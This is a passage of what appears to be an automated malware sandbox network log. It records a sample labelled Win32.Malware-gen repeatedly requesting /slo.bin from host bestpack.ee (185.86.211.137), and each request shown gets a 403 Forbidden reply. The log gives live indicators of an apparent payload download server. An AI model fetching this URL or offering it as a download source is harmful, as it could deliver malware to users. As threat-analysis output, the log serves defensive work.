2024-09-27 16:59:56 UTC	83	IN	Data Raw: 3c 63 65 6e 74 65 72 3e 3c 62 72 20 2f 3e 3c 62 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 3e 3c 62 72 20 2f 3e 57 57 57 20 41 63 63 65 73 73 20 62 6c 6f 63 6b 65 64 20 2d 20 62 61 64 20 71 75 65 72 79 2f 75 72 6c 3c 2f 63 65 6e 74 65 72 3e Data Ascii: <center><br /><b>403 Forbidden</b><br />WWW Access blocked - bad query/url</center>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.11.20	49775	185.86.211.137	443	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 17:00:07 UTC	187	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: bestpack.ee Connection: Keep-Alive
2024-09-27 17:00:08 UTC	163	IN	HTTP/1.1 403 Forbidden Date: Fri, 27 Sep 2024 17:00:08 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-09-27 17:00:08 UTC	83	IN	Data Raw: 3c 63 65 6e 74 65 72 3e 3c 62 72 20 2f 3e 3c 62 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 3e 3c 62 72 20 2f 3e 57 57 57 20 41 63 63 65 73 73 20 62 6c 6f 63 6b 65 64 20 2d 20 62 61 64 20 71 75 65 72 79 2f 75 72 6c 3c 2f 63 65 6e 74 65 72 3e Data Ascii: <center><br /><b>403 Forbidden</b><br />WWW Access blocked - bad query/url</center>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.11.20	49777	185.86.211.137	443	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 17:00:19 UTC	187	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: bestpack.ee Connection: Keep-Alive
2024-09-27 17:00:19 UTC	163	IN	HTTP/1.1 403 Forbidden Date: Fri, 27 Sep 2024 17:00:19 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-09-27 17:00:19 UTC	83	IN	Data Raw: 3c 63 65 6e 74 65 72 3e 3c 62 72 20 2f 3e 3c 62 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 3e 3c 62 72 20 2f 3e 57 57 57 20 41 63 63 65 73 73 20 62 6c 6f 63 6b 65 64 20 2d 20 62 61 64 20 71 75 65 72 79 2f 75 72 6c 3c 2f 63 65 6e 74 65 72 3e Data Ascii: <center><br /><b>403 Forbidden</b><br />WWW Access blocked - bad query/url</center>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.11.20	49779	185.86.211.137	443	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 17:00:30 UTC	187	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: bestpack.ee Connection: Keep-Alive
2024-09-27 17:00:31 UTC	163	IN	HTTP/1.1 403 Forbidden Date: Fri, 27 Sep 2024 17:00:31 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-09-27 17:00:31 UTC	83	IN	Data Raw: 3c 63 65 6e 74 65 72 3e 3c 62 72 20 2f 3e 3c 62 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 3e 3c 62 72 20 2f 3e 57 57 57 20 41 63 63 65 73 73 20 62 6c 6f 63 6b 65 64 20 2d 20 62 61 64 20 71 75 65 72 79 2f 75 72 6c 3c 2f 63 65 6e 74 65 72 3e Data Ascii: <center><br /><b>403 Forbidden</b><br />WWW Access blocked - bad query/url</center>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.11.20	49781	185.86.211.137	443	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 17:00:42 UTC	187	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: bestpack.ee Connection: Keep-Alive
2024-09-27 17:00:42 UTC	163	IN	HTTP/1.1 403 Forbidden Date: Fri, 27 Sep 2024 17:00:42 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-09-27 17:00:42 UTC	83	IN	Data Raw: 3c 63 65 6e 74 65 72 3e 3c 62 72 20 2f 3e 3c 62 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 3e 3c 62 72 20 2f 3e 57 57 57 20 41 63 63 65 73 73 20 62 6c 6f 63 6b 65 64 20 2d 20 62 61 64 20 71 75 65 72 79 2f 75 72 6c 3c 2f 63 65 6e 74 65 72 3e Data Ascii: <center><br /><b>403 Forbidden</b><br />WWW Access blocked - bad query/url</center>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.11.20	49783	185.86.211.137	443	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 17:00:53 UTC	187	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: bestpack.ee Connection: Keep-Alive
2024-09-27 17:00:54 UTC	163	IN	HTTP/1.1 403 Forbidden Date: Fri, 27 Sep 2024 17:00:53 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-09-27 17:00:54 UTC	83	IN	Data Raw: 3c 63 65 6e 74 65 72 3e 3c 62 72 20 2f 3e 3c 62 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 3e 3c 62 72 20 2f 3e 57 57 57 20 41 63 63 65 73 73 20 62 6c 6f 63 6b 65 64 20 2d 20 62 61 64 20 71 75 65 72 79 2f 75 72 6c 3c 2f 63 65 6e 74 65 72 3e Data Ascii: <center><br /><b>403 Forbidden</b><br />WWW Access blocked - bad query/url</center>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.11.20	49785	185.86.211.137	443	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 17:01:04 UTC	187	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: bestpack.ee Connection: Keep-Alive
2024-09-27 17:01:05 UTC	163	IN	HTTP/1.1 403 Forbidden Date: Fri, 27 Sep 2024 17:01:05 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-09-27 17:01:05 UTC	83	IN	Data Raw: 3c 63 65 6e 74 65 72 3e 3c 62 72 20 2f 3e 3c 62 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 3e 3c 62 72 20 2f 3e 57 57 57 20 41 63 63 65 73 73 20 62 6c 6f 63 6b 65 64 20 2d 20 62 61 64 20 71 75 65 72 79 2f 75 72 6c 3c 2f 63 65 6e 74 65 72 3e Data Ascii: <center><br /><b>403 Forbidden</b><br />WWW Access blocked - bad query/url</center>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.11.20	49787	185.86.211.137	443	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 17:01:16 UTC	187	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: bestpack.ee Connection: Keep-Alive
2024-09-27 17:01:16 UTC	163	IN	HTTP/1.1 403 Forbidden Date: Fri, 27 Sep 2024 17:01:16 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-09-27 17:01:16 UTC	83	IN	Data Raw: 3c 63 65 6e 74 65 72 3e 3c 62 72 20 2f 3e 3c 62 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 3e 3c 62 72 20 2f 3e 57 57 57 20 41 63 63 65 73 73 20 62 6c 6f 63 6b 65 64 20 2d 20 62 61 64 20 71 75 65 72 79 2f 75 72 6c 3c 2f 63 65 6e 74 65 72 3e Data Ascii: <center><br /><b>403 Forbidden</b><br />WWW Access blocked - bad query/url</center>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.11.20	49789	185.86.211.137	443	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 17:01:27 UTC	187	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: bestpack.ee Connection: Keep-Alive
2024-09-27 17:01:28 UTC	163	IN	HTTP/1.1 403 Forbidden Date: Fri, 27 Sep 2024 17:01:28 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-09-27 17:01:28 UTC	83	IN	Data Raw: 3c 63 65 6e 74 65 72 3e 3c 62 72 20 2f 3e 3c 62 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 3e 3c 62 72 20 2f 3e 57 57 57 20 41 63 63 65 73 73 20 62 6c 6f 63 6b 65 64 20 2d 20 62 61 64 20 71 75 65 72 79 2f 75 72 6c 3c 2f 63 65 6e 74 65 72 3e Data Ascii: <center><br /><b>403 Forbidden</b><br />WWW Access blocked - bad query/url</center>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.11.20	49791	185.86.211.137	443	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 17:01:39 UTC	187	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: bestpack.ee Connection: Keep-Alive
2024-09-27 17:01:39 UTC	163	IN	HTTP/1.1 403 Forbidden Date: Fri, 27 Sep 2024 17:01:39 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-09-27 17:01:39 UTC	83	IN	Data Raw: 3c 63 65 6e 74 65 72 3e 3c 62 72 20 2f 3e 3c 62 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 3e 3c 62 72 20 2f 3e 57 57 57 20 41 63 63 65 73 73 20 62 6c 6f 63 6b 65 64 20 2d 20 62 61 64 20 71 75 65 72 79 2f 75 72 6c 3c 2f 63 65 6e 74 65 72 3e Data Ascii: <center><br /><b>403 Forbidden</b><br />WWW Access blocked - bad query/url</center>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.11.20	49793	185.86.211.137	443	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 17:01:50 UTC	187	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: bestpack.ee Connection: Keep-Alive
2024-09-27 17:01:51 UTC	163	IN	HTTP/1.1 403 Forbidden Date: Fri, 27 Sep 2024 17:01:50 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-09-27 17:01:51 UTC	83	IN	Data Raw: 3c 63 65 6e 74 65 72 3e 3c 62 72 20 2f 3e 3c 62 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 3e 3c 62 72 20 2f 3e 57 57 57 20 41 63 63 65 73 73 20 62 6c 6f 63 6b 65 64 20 2d 20 62 61 64 20 71 75 65 72 79 2f 75 72 6c 3c 2f 63 65 6e 74 65 72 3e Data Ascii: <center><br /><b>403 Forbidden</b><br />WWW Access blocked - bad query/url</center>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.11.20	49795	185.86.211.137	443	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 17:02:01 UTC	187	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: bestpack.ee Connection: Keep-Alive
2024-09-27 17:02:02 UTC	163	IN	HTTP/1.1 403 Forbidden Date: Fri, 27 Sep 2024 17:02:02 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-09-27 17:02:02 UTC	83	IN	Data Raw: 3c 63 65 6e 74 65 72 3e 3c 62 72 20 2f 3e 3c 62 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 3e 3c 62 72 20 2f 3e 57 57 57 20 41 63 63 65 73 73 20 62 6c 6f 63 6b 65 64 20 2d 20 62 61 64 20 71 75 65 72 79 2f 75 72 6c 3c 2f 63 65 6e 74 65 72 3e Data Ascii: <center><br /><b>403 Forbidden</b><br />WWW Access blocked - bad query/url</center>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.11.20	49797	185.86.211.137	443	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 17:02:13 UTC	187	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: bestpack.ee Connection: Keep-Alive
2024-09-27 17:02:13 UTC	163	IN	HTTP/1.1 403 Forbidden Date: Fri, 27 Sep 2024 17:02:13 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-09-27 17:02:13 UTC	83	IN	Data Raw: 3c 63 65 6e 74 65 72 3e 3c 62 72 20 2f 3e 3c 62 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 3e 3c 62 72 20 2f 3e 57 57 57 20 41 63 63 65 73 73 20 62 6c 6f 63 6b 65 64 20 2d 20 62 61 64 20 71 75 65 72 79 2f 75 72 6c 3c 2f 63 65 6e 74 65 72 3e Data Ascii: <center><br /><b>403 Forbidden</b><br />WWW Access blocked - bad query/url</center>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.11.20	49799	185.86.211.137	443	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 17:02:24 UTC	187	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: bestpack.ee Connection: Keep-Alive
2024-09-27 17:02:25 UTC	163	IN	HTTP/1.1 403 Forbidden Date: Fri, 27 Sep 2024 17:02:24 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-09-27 17:02:25 UTC	83	IN	Data Raw: 3c 63 65 6e 74 65 72 3e 3c 62 72 20 2f 3e 3c 62 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 3e 3c 62 72 20 2f 3e 57 57 57 20 41 63 63 65 73 73 20 62 6c 6f 63 6b 65 64 20 2d 20 62 61 64 20 71 75 65 72 79 2f 75 72 6c 3c 2f 63 65 6e 74 65 72 3e Data Ascii: <center><br /><b>403 Forbidden</b><br />WWW Access blocked - bad query/url</center>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.11.20	49801	185.86.211.137	443	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 17:02:35 UTC	187	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: bestpack.ee Connection: Keep-Alive
2024-09-27 17:02:36 UTC	163	IN	HTTP/1.1 403 Forbidden Date: Fri, 27 Sep 2024 17:02:36 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-09-27 17:02:36 UTC	83	IN	Data Raw: 3c 63 65 6e 74 65 72 3e 3c 62 72 20 2f 3e 3c 62 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 3e 3c 62 72 20 2f 3e 57 57 57 20 41 63 63 65 73 73 20 62 6c 6f 63 6b 65 64 20 2d 20 62 61 64 20 71 75 65 72 79 2f 75 72 6c 3c 2f 63 65 6e 74 65 72 3e Data Ascii: <center><br /><b>403 Forbidden</b><br />WWW Access blocked - bad query/url</center>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.11.20	49803	185.86.211.137	443	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 17:02:47 UTC	187	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: bestpack.ee Connection: Keep-Alive
2024-09-27 17:02:47 UTC	163	IN	HTTP/1.1 403 Forbidden Date: Fri, 27 Sep 2024 17:02:47 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-09-27 17:02:47 UTC	83	IN	Data Raw: 3c 63 65 6e 74 65 72 3e 3c 62 72 20 2f 3e 3c 62 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 3e 3c 62 72 20 2f 3e 57 57 57 20 41 63 63 65 73 73 20 62 6c 6f 63 6b 65 64 20 2d 20 62 61 64 20 71 75 65 72 79 2f 75 72 6c 3c 2f 63 65 6e 74 65 72 3e Data Ascii: <center><br /><b>403 Forbidden</b><br />WWW Access blocked - bad query/url</center>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.11.20	49805	185.86.211.137	443	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 17:02:58 UTC	187	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: bestpack.ee Connection: Keep-Alive
2024-09-27 17:02:59 UTC	163	IN	HTTP/1.1 403 Forbidden Date: Fri, 27 Sep 2024 17:02:58 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-09-27 17:02:59 UTC	83	IN	Data Raw: 3c 63 65 6e 74 65 72 3e 3c 62 72 20 2f 3e 3c 62 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 3e 3c 62 72 20 2f 3e 57 57 57 20 41 63 63 65 73 73 20 62 6c 6f 63 6b 65 64 20 2d 20 62 61 64 20 71 75 65 72 79 2f 75 72 6c 3c 2f 63 65 6e 74 65 72 3e Data Ascii: <center><br /><b>403 Forbidden</b><br />WWW Access blocked - bad query/url</center>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.11.20	49807	185.86.211.137	443	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 17:03:10 UTC	187	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: bestpack.ee Connection: Keep-Alive
2024-09-27 17:03:10 UTC	163	IN	HTTP/1.1 403 Forbidden Date: Fri, 27 Sep 2024 17:03:10 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-09-27 17:03:10 UTC	83	IN	Data Raw: 3c 63 65 6e 74 65 72 3e 3c 62 72 20 2f 3e 3c 62 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 3e 3c 62 72 20 2f 3e 57 57 57 20 41 63 63 65 73 73 20 62 6c 6f 63 6b 65 64 20 2d 20 62 61 64 20 71 75 65 72 79 2f 75 72 6c 3c 2f 63 65 6e 74 65 72 3e Data Ascii: <center><br /><b>403 Forbidden</b><br />WWW Access blocked - bad query/url</center>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.11.20	49809	185.86.211.137	443	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 17:03:21 UTC	187	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: bestpack.ee Connection: Keep-Alive
2024-09-27 17:03:21 UTC	163	IN	HTTP/1.1 403 Forbidden Date: Fri, 27 Sep 2024 17:03:21 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-09-27 17:03:21 UTC	83	IN	Data Raw: 3c 63 65 6e 74 65 72 3e 3c 62 72 20 2f 3e 3c 62 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 3e 3c 62 72 20 2f 3e 57 57 57 20 41 63 63 65 73 73 20 62 6c 6f 63 6b 65 64 20 2d 20 62 61 64 20 71 75 65 72 79 2f 75 72 6c 3c 2f 63 65 6e 74 65 72 3e Data Ascii: <center><br /><b>403 Forbidden</b><br />WWW Access blocked - bad query/url</center>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.11.20	49811	185.86.211.137	443	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 17:03:32 UTC	187	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: bestpack.ee Connection: Keep-Alive
2024-09-27 17:03:33 UTC	163	IN	HTTP/1.1 403 Forbidden Date: Fri, 27 Sep 2024 17:03:33 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-09-27 17:03:33 UTC	83	IN	Data Raw: 3c 63 65 6e 74 65 72 3e 3c 62 72 20 2f 3e 3c 62 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 3e 3c 62 72 20 2f 3e 57 57 57 20 41 63 63 65 73 73 20 62 6c 6f 63 6b 65 64 20 2d 20 62 61 64 20 71 75 65 72 79 2f 75 72 6c 3c 2f 63 65 6e 74 65 72 3e Data Ascii: <center><br /><b>403 Forbidden</b><br />WWW Access blocked - bad query/url</center>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.11.20	49813	185.86.211.137	443	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 17:03:44 UTC	187	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: bestpack.ee Connection: Keep-Alive
2024-09-27 17:03:44 UTC	163	IN	HTTP/1.1 403 Forbidden Date: Fri, 27 Sep 2024 17:03:44 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-09-27 17:03:44 UTC	83	IN	Data Raw: 3c 63 65 6e 74 65 72 3e 3c 62 72 20 2f 3e 3c 62 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 3e 3c 62 72 20 2f 3e 57 57 57 20 41 63 63 65 73 73 20 62 6c 6f 63 6b 65 64 20 2d 20 62 61 64 20 71 75 65 72 79 2f 75 72 6c 3c 2f 63 65 6e 74 65 72 3e Data Ascii: <center><br /><b>403 Forbidden</b><br />WWW Access blocked - bad query/url</center>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.11.20	49815	185.86.211.137	443	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 17:03:55 UTC	187	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: bestpack.ee Connection: Keep-Alive
2024-09-27 17:03:56 UTC	163	IN	HTTP/1.1 403 Forbidden Date: Fri, 27 Sep 2024 17:03:55 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-09-27 17:03:56 UTC	83	IN	Data Raw: 3c 63 65 6e 74 65 72 3e 3c 62 72 20 2f 3e 3c 62 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 3e 3c 62 72 20 2f 3e 57 57 57 20 41 63 63 65 73 73 20 62 6c 6f 63 6b 65 64 20 2d 20 62 61 64 20 71 75 65 72 79 2f 75 72 6c 3c 2f 63 65 6e 74 65 72 3e Data Ascii: <center><br /><b>403 Forbidden</b><br />WWW Access blocked - bad query/url</center>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.11.20	49817	185.86.211.137	443	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 17:04:06 UTC	187	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: bestpack.ee Connection: Keep-Alive
2024-09-27 17:04:07 UTC	163	IN	HTTP/1.1 403 Forbidden Date: Fri, 27 Sep 2024 17:04:07 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-09-27 17:04:07 UTC	83	IN	Data Raw: 3c 63 65 6e 74 65 72 3e 3c 62 72 20 2f 3e 3c 62 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 3e 3c 62 72 20 2f 3e 57 57 57 20 41 63 63 65 73 73 20 62 6c 6f 63 6b 65 64 20 2d 20 62 61 64 20 71 75 65 72 79 2f 75 72 6c 3c 2f 63 65 6e 74 65 72 3e Data Ascii: <center><br /><b>403 Forbidden</b><br />WWW Access blocked - bad query/url</center>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.11.20	49819	185.86.211.137	443	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 17:04:18 UTC	187	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: bestpack.ee Connection: Keep-Alive
2024-09-27 17:04:18 UTC	163	IN	HTTP/1.1 403 Forbidden Date: Fri, 27 Sep 2024 17:04:18 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-09-27 17:04:18 UTC	83	IN	Data Raw: 3c 63 65 6e 74 65 72 3e 3c 62 72 20 2f 3e 3c 62 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 3e 3c 62 72 20 2f 3e 57 57 57 20 41 63 63 65 73 73 20 62 6c 6f 63 6b 65 64 20 2d 20 62 61 64 20 71 75 65 72 79 2f 75 72 6c 3c 2f 63 65 6e 74 65 72 3e Data Ascii: <center><br /><b>403 Forbidden</b><br />WWW Access blocked - bad query/url</center>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.11.20	49821	185.86.211.137	443	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 17:04:29 UTC	187	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: bestpack.ee Connection: Keep-Alive
